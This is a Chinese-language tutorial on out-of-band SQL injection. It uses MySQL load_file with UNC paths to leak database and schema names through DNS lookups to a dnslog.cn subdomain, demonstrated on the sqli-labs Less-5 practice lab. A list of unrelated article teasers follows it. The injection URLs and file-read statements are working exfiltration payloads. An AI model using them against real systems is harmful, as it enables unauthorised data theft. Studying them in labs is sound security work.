DNSLog漏洞探测(七)之SQL注入漏洞实战

DNSLog漏洞探测(七)之SQL注入漏洞实战

在前面的文章之中,我们已经学习了XSS、RCE、XXE、SSRF漏洞中有关于DNSLog平台的使用。这些漏洞本身在执行时就有解析URL地址,发起网络请求的操作,所以只要我们把DNSLog平台获取的子域名地址发送到存在漏洞的服务器上,就会产生DNSLog的解析记录,这样就可以证明该漏洞的存在。

本文我们来学习有关于DNSLog平台有关于SQL注入的利用方式,SQL注入在DNSLog的利用中和XSS、RCE、XXE、SSRF这些漏洞不同,在SQL注入无回显的情况下,我们可以通过DNSLog平台的利用去外带出一些数据库的信息

MySQL load_file函数

在 MySQL 数据库中 load_file函数是用来读取文件的函数,以下是在各系统中读取相应文件的SQL语句

#Windows系统
select load_file('C:/Windows/system.ini');
#Linux系统
select load_file('/etc/hosts');

如果想要在MySQL 数据库读取相应的文件则需要以下的条件:

  1. 需要读取的文件在数据库本机
  2. 用户对文件要有允许访问的权限
  3. 需要读取的文件的大小要小于max_allowed_packet,否则返回NULL

以下是现版本数据库中有关于max_allowed_packet的大小限制,一般默认情况是32MB大小

在这里插入图片描述

secure_file_priv参数

在MySQL 数据库中除了读取文件的操作,还有写入文件的操作。在MySQL 数据库中读写文件都受到secure_file_priv参数的限制,在在MySQL 数据库中secure_file_priv的参数有三种类型,当secure-file-priv=""时,我们可以对任意文件执行导入导出的命令

类型
secure-file-priv=“”没有任何限制(不安全)
secure-file-priv=“具体文件夹”只能在指定的文件夹导入导出
secure-file-priv=NULL不允许导入导出

我们可以在MySQL 数据库中使用以下语句查询该参数的类型

show variables like '%secure_file_priv%';

DNSLog注入步骤(仅支持Windows的MySQL)

首先我们打开DNSLog的平台,点击 Get SubDomain获取一个子域名,这里我们获取到的子域名地址是 9asrrv.dnslog.cn

在这里插入图片描述

然后将需要读取的文件替换为DNSLog平台获取到的子域名地址,这里需要注意的是经过转义之后是\\,是Windows系统里常用的UNC路径的格式,而后面的 /test 是必须要写的,它代表着UNC路径里一个文件夹的名字,当然文件夹的名字可以随你怎么取都行,总而言之正确的格式就是这样。整条语句的意思就是取读取一个文件夹,我们在UNC路径中添加了DNSLog平台的地址,让这条语句在执行时能够去访问我们的DNSLog平台,从而产生解析记录

#原始的payload
select load_file('xxxxx.dnslog.cn/test');
#本文所使用的payload
select load_file('9asrrv.dnslog.cn/test');

接下来我们去执行相应的语句

在这里插入图片描述

现在我们返回DNSLog平台,点击 Refresh Record 刷新,此时DNSLog平台就会产生DNSLog解析记录

在这里插入图片描述

那么这样子就说明如果我们在碰到SQL注入漏洞无回显的情况下,这样我们把这样的语句拼接在有SQL注入漏洞参数的提交点上,不论是get还是post请求,只要服务器执行了这个语句,并在DNSLog平台产生DNSLog解析,就能够证明该漏洞存在。

接下来我们用 sqli-labs的靶场来做个演示,实验中用到的 sqli-labs 靶场是 sqli-labs的第五关

在这里插入图片描述

当我们的参数 id = 1 时页面显示正常,但当我们把参数改为 id = 1‘ 时页面产生了报错

在这里插入图片描述

当我们将参数修改为 id = 1’ --+ 时页面显示正常

在这里插入图片描述

当我们执行了这样的语句时,我们可以判断这里存在SQL注入漏洞,但是它并没有将相关的数据给我们回显出来,这也就是我们常说的SQL注入漏洞无回显的情况,针对这种情况,我们一般是使用盲注的情况用来解题的,但是本文就来教大家如何利用DNSLog平台解决SQL注入漏洞无回显的情况,并且去外带出SQL数据库一些信息出来

首先我们打开DNSLog的平台,点击 Get SubDomain获取一个子域名,这里我们获取到的子域名地址是 900ind.dnslog.cn

在这里插入图片描述

然后向存在SQL漏洞的注入点提交以下的payload

#原始的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('','database()','.xxxxx.dnslog.cn/wuya'))),1,0) --+
#本文所使用的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('////','database()','.900ind.dnslog.cn/wuya'))),1,0) --+

在这里插入图片描述

现在我们返回DNSLog平台,点击 Refresh Record 刷新,此时DNSLog平台就会产生DNSLog解析记录,并且把当前数据库的库名一并爆了出来

在这里插入图片描述

如果我们想要查询第二个数据库的库名,便可以使用以下的语句去查询

#原始的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('',(select schema_name from information_schema.schemata limit 1,1),'.xxxxx.dnslog.cn/test'))),1,0) --+
#本文所使用的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('////',(select schema_name from information_schema.schemata limit 1,1),'.900ind.dnslog.cn/wuya'))),1,0) --+

向存在SQL漏洞的注入点提交payload

在这里插入图片描述

现在我们返回DNSLog平台,点击 Refresh Record 刷新,此时DNSLog平台就会产生DNSLog解析记录,并且把第二个数据库的库名一并外带了出来

在这里插入图片描述

总之利用DNSLog平台解决SQL注入无回显的思路就是这么一种思路,至于其如何利用的相关语句就由各位师傅们自由发挥了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/220816.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电脑监控软件丨你能接受在电脑上安装吗

很多人说自己是不能接受老板在电脑上安装电脑监控软件的,怎么说呢,我自己本身是没有任何意见的。 我是可以接受的。 先来说说我的理由: 我是站在企业管理者的角度上,来思考这个问题的。老板花钱雇佣员工不是来公司来上网聊天打游…

docker-harbor私有仓库

docker 三大组件 镜像 容器 仓库 仓库:保存镜像 私有,自定义用户的形式登录仓库,拉去或者上传镜像(内部管理的用户) harbor:是由VMware公司开发的,开源的企业级的docker registry 项目 。 帮…

阿里云国际DDOS设置流量清洗阈值

当您的公网IP资产的业务流量超过正常流量基线时,DDoS防护会对攻击流量进行清洗,并尽可能保障您的业务可用。本文介绍了设置流量清洗阈值的方法。 背景信息 DDoS原生防护在清洗判定中采用了AI智能分析的方法。您可以根据正常业务流量基线,设…

图像特征提取-角点

角点特征 大多数人都玩过拼图游戏。首先拿到完整图像的碎片,然后把这些碎片以正确的方式排列起来从而重建这幅图像。如果把拼图游戏的原理写成计算机程序,那计算机就也会玩拼图游戏了。 在拼图时,我们要寻找一些唯一的特征,这些…

数据结构之---- 图

数据结构之---- 图 什么是图? 图是一种非线性数据结构,由顶点和边组成。我们可以将图 𝐺 抽象地表示为一组顶点 𝑉 和一组边 𝐸 的集合。 以下示例展示了一个包含 5 个顶点和 7 条边的图。 如果将顶点看作节点&…

Java研学-druid连接池

一 连接池 1 概述 JDBC 数据库连接(Connectiond对象)使用 DriverManager 来获取,每次向数据库建立连接的时候都要将 Connection 加载到内存中,再验证用户名和密码得花费 0.05s~1s 的时间,执行完成后再断开连接。这样的方式将会消…

LabVIEW进行癌症预测模型研究

LabVIEW进行癌症预测模型研究 癌症是一种细胞异常增生的疾病。随着年龄的增长,细胞分裂速度放缓,但癌细胞会失去控制地不断分裂,形成可能良性或恶性的肿瘤。 2012年的国际癌症数据显示,新发癌症病例和癌症相关死亡人数有所增加。…

Qt优秀开源项目之十九:跨平台记事本Notes

官网:https://www.get-notes.com github:https://github.com/nuttyartist/notes 一.特性 1.完全基于Qt和C 2.完全开源和跨平台(Linux、macOS、Windows) 3.运行速度快,界面美如画 4.支持Markdown 5.支持使用嵌套文件夹…

在Flutter中使用PhotoViewGallery指南

介绍 Flutter中的PhotoViewGallery是一个功能强大的插件,用于在应用中展示可缩放的图片。无论是构建图像浏览器、相册应用,还是需要在应用中查看大图的场景,PhotoViewGallery都是一个不错的选择。 添加依赖 首先,需要在pubspec…

多项创新技术加持,汉威科技危化品企业、化工园区两大智能化管控平台重磅发布

化工产业是我国支柱产业,化学品产值约占全球的40%,位列第一。石油化工、煤化工、化肥、制药、冶金、氢能源等产业持续升级迭代,化工园区作为重要载体,不断推动产业朝专业化、集约化方向发展。 近年来我国危险化学品领域重特大事故…

实现不同分辨率、不同缩放比例屏幕对vue显示的问题的适配解决

分析 我们使用适配常用的就是百分比 这个一般依托于父组件的宽度和高度 ,但是大部分父组件并没有设置宽度和高度,也没有继承其父组件的宽高 所以导致这个问题 另外,使用百分比有时候不生效 可以在设置宽度的时候使用vw 在设置高度的时候设置…

WebService技术--随笔1

1.WebService 发展史 创建阶段(1990 年代末至 2000 年代初):在这个阶段,XML-RPC 和 SOAP 协议被引入,为跨平台和跨语言的应用程序集成提供了基础。XML-RPC 提供了一种基于 XML 的远程过程调用机制,而 SOAP…

word图片点击放大,word图片双击放大

网上自己搜了半天,都是顾左右而言他,直接实践一下。 干货就是:调整word视图为阅读模式,双机图片 就能放大查看,然后还会有一个 放大镜供点击放大到整个屏幕。 其实挺好理解的,word跟wps不同,w…

【VSCode】自定义配置

VSCode自定义配置 Visual Studio Code (VSCode) 是一个强大的开源代码编辑器,支持丰富的自定义配置。下面是一些常见的自定义配置选项,你可以根据个人喜好和工作流程进行调整: 1. 主题和配色方案: 在 “settings.json” 中设置&#xff1a…

力扣labuladong——一刷day74

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、力扣1305. 两棵二叉搜索树中的所有元素二、力扣872. 叶子相似的树 前言 二叉树的构造算法通用思路很简单,无非就是构造根节点,然后递…

我的2023 - git目录

.\0000 差旅 .\0000_BigEvent .\0000工时统计 .\000_CommonDoc .\000_Delay .\000_Done .\000_Drop .\000_参考 .\001_Cache .\11111111_zhy远程调试 .\20230802_参考项目 .\20230928_Ccz产品化 .\20231105_天津北京出差报告 .\20231207_libmodbus移植集成 .\20231213_cz原理图…

2024 年 8 款最佳数据恢复软件深度评测(Windows 和 Mac)

由于意外删除、格式化或损坏而立即丢失重要数据是一场噩梦。当您开始寻找 2024 年最好的数据恢复软件时,由于选项太多,您可能会不知所措。 2024 年 8 款最佳数据恢复软件深度评测 有些工具适用于 Windows,其他工具适用于 Mac,但并…

GZ029 智能电子产品设计与开发赛题第10套

2023年全国职业院校技能大赛高职组 “GZ029智能电子产品设计与开发”赛项赛卷十 题目:模拟工业传送带物品检测系统的设计与开发 1 竞赛任务 在智能电视机上播放工业传送带传输物品视频,模拟工业传送带物品检测系统(以下简称物品检测系统&…

如何在Spring Boot中集成RabbitMQ

如何在Spring Boot中集成RabbitMQ 在现代微服务架构中,消息队列(如RabbitMQ)扮演了关键的角色,它不仅能够提供高效的消息传递机制,还能解耦服务间的通信。本文将介绍如何在Spring Boot项目中集成RabbitMQ,…

python中else的细节

if-else 首先我们都知道else可以和if共同使用,如果if条件没有执行,就会去执行else语句 a100 if a100:print("if 语句执行了") else:print("else语句执行了") a10 if a100:print("if 语句执行了") else:print("else…